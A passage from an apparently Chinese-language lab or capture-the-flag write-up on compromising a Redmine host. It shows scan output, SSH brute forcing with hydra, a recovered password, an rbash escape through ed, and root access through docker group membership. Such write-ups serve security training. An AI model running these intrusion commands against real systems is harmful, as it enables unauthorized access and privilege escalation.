&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;53/tcp closed domain
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;113/tcp open ident
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;5432/tcp open postgresql
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;8080/tcp open http-proxy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-slowloris-check:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Slowloris DOS attack
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: LIKELY VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; IDs: CVE:CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Slowloris tries to keep many connections to the target web server open and hold
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; them open as long as possible. It accomplishes this by opening connections to
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; the target web server and sending a partial request. By doing so, it starves
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; the http server&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;s resources causing Denial Of Service.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Disclosure date: 2009-09-17
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://ha.ckers.org/slowloris/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.stm: Belkin G Wireless Router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /admin.php: Possible admin folder &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.php: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.html: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /admin.cfm: Possible admin folder &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.cfm: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /admin.asp: Possible admin folder &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.asp: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /admin.aspx: Possible admin folder &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.aspx: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /admin.jsp: Possible admin folder &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.jsp: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /users.sql: Possible database backup &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login/: Login page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.htm: Login page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /login.jsp: Login page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /robots.txt: Robots file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /admin.nsf: Lotus Domino &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;401&lt;/span&gt; Unauthorized &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /news/: Potentially interesting folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ /search/: Potentially interesting folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 413.78 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://192.168.147.60:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.147.60:8080 &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; ChiliProject, Cookies&lt;span class="o"&gt;[&lt;/span&gt;_redmine_session&lt;span class="o"&gt;]&lt;/span&gt;, Country&lt;span class="o"&gt;[&lt;/span&gt;RESERVED&lt;span class="o"&gt;][&lt;/span&gt;ZZ&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;WEBrick/1.4.2 &lt;span class="o"&gt;(&lt;/span&gt;Ruby/2.6.6/2020-03-31&lt;span class="o"&gt;)]&lt;/span&gt;, HttpOnly&lt;span class="o"&gt;[&lt;/span&gt;_redmine_session&lt;span class="o"&gt;]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;192.168.147.60&lt;span class="o"&gt;]&lt;/span&gt;, JQuery, Redmine, Ruby&lt;span class="o"&gt;[&lt;/span&gt;2.6.6,WEBrick/1.4.2&lt;span class="o"&gt;]&lt;/span&gt;, Script, Title&lt;span class="o"&gt;[&lt;/span&gt;Redmine&lt;span class="o"&gt;]&lt;/span&gt;, UncommonHeaders&lt;span class="o"&gt;[&lt;/span&gt;x-content-type-options,x-download-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id&lt;span class="o"&gt;]&lt;/span&gt;, X-Frame-Options&lt;span class="o"&gt;[&lt;/span&gt;SAMEORIGIN&lt;span class="o"&gt;]&lt;/span&gt;, X-UA-Compatible&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;IE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;edge&lt;span class="o"&gt;]&lt;/span&gt;, X-XSS-Protection&lt;span class="o"&gt;[&lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;block&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;Starting gobuster in directory enumeration &lt;span class="nv"&gt;mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;/newsnews &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 5361&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;/searchsearch &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 7933&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;/loginlogin &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 5011&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;/projectsprojects &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 12258&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;/usersusers &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 150&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.60:8080/login?back_url&lt;span class="o"&gt;=&lt;/span&gt;http%3A%2F%2F192.168.147.60%3A8080%2Fusers&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;/adminadmin &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 150&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.60:8080/login?back_url&lt;span class="o"&gt;=&lt;/span&gt;http%3A%2F%2F192.168.147.60%3A8080%2Fadmin&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;/issuesissues &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 19698&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;/groupsgroups &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 151&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.60:8080/login?back_url&lt;span class="o"&gt;=&lt;/span&gt;http%3A%2F%2F192.168.147.60%3A8080%2Fgroups&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;/mymy &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 147&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.60:8080/login?back_url&lt;span class="o"&gt;=&lt;/span&gt;http%3A%2F%2F192.168.147.60%3A8080%2Fmy&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;/logoutlogout &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 93&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.60:8080/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;/404404 &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 459&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;/settingssettings &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 153&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.60:8080/login?back_url&lt;span class="o"&gt;=&lt;/span&gt;http%3A%2F%2F192.168.147.60%3A8080%2Fsettings&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;/activityactivity &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 7312&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;/500500 &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 648&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;Progress: &lt;span class="m"&gt;24077&lt;/span&gt; / &lt;span class="m"&gt;220559&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;10.92%&lt;span class="o"&gt;)&lt;/span&gt;^C
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015153145552.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015153224853.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015153243354.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015153759350.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015153836654.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015155029127.png"&gt;
没有发现什么&lt;/p&gt;
&lt;h3 id="ssh密码爆破"&gt;SSH密码爆破
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install ident-user-enum
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ident-user-enum 192.168.147.60 &lt;span class="m"&gt;22&lt;/span&gt; &lt;span class="m"&gt;113&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt; &lt;span class="m"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;hydra -L users.txt -P users.txt ssh://192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html?highlight=113#ident-user-enum" target="_blank" rel="noopener"
 &gt;Ident-user-enum&lt;/a&gt; 用这个软件来爆破各个端口可能存在的用户名，然后使⽤⽤⼾名=密码的形式试一下。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015161140382.png"&gt;
得到ssh的登录名和密码&lt;/p&gt;
&lt;blockquote class="alert alert-tip"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;💡&lt;/span&gt;
 &lt;span class="alert-title"&gt;ssh密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;eleanor&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015161312140.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015161733910.png"&gt;
登录后发现终端受限，是只读终端，能执行的命令有限，所以做逃逸&lt;/p&gt;
&lt;h3 id="rbash逃逸"&gt;rbash逃逸
&lt;/h3&gt;&lt;p&gt;参考 &lt;a class="link" href="https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/" target="_blank" rel="noopener"
 &gt;https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/&lt;/a&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015163003660.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$PATH&lt;/span&gt; &lt;span class="c1"&gt;# 查看路径变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ed
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到第一个flag
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015163343586.png"&gt;&lt;/p&gt;
&lt;h3 id="提权"&gt;提权
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015163622025.png"&gt;
查看etc/paawd的时候发现提示有一封邮件
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015163902056.png"&gt;
算是触发了一种管理员警告的邮件？我刚刚想要sudo -l 提权的时候发现没有权限。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015164330436.png"&gt;
发现用户是在docker组中，docker提权一下
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015164455120.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;docker images
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;docker run -v /:/mnt --rm -it redmine chroot /mnt bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat root/proof.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015164735829.png"&gt;
得到第二个flag。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.182]
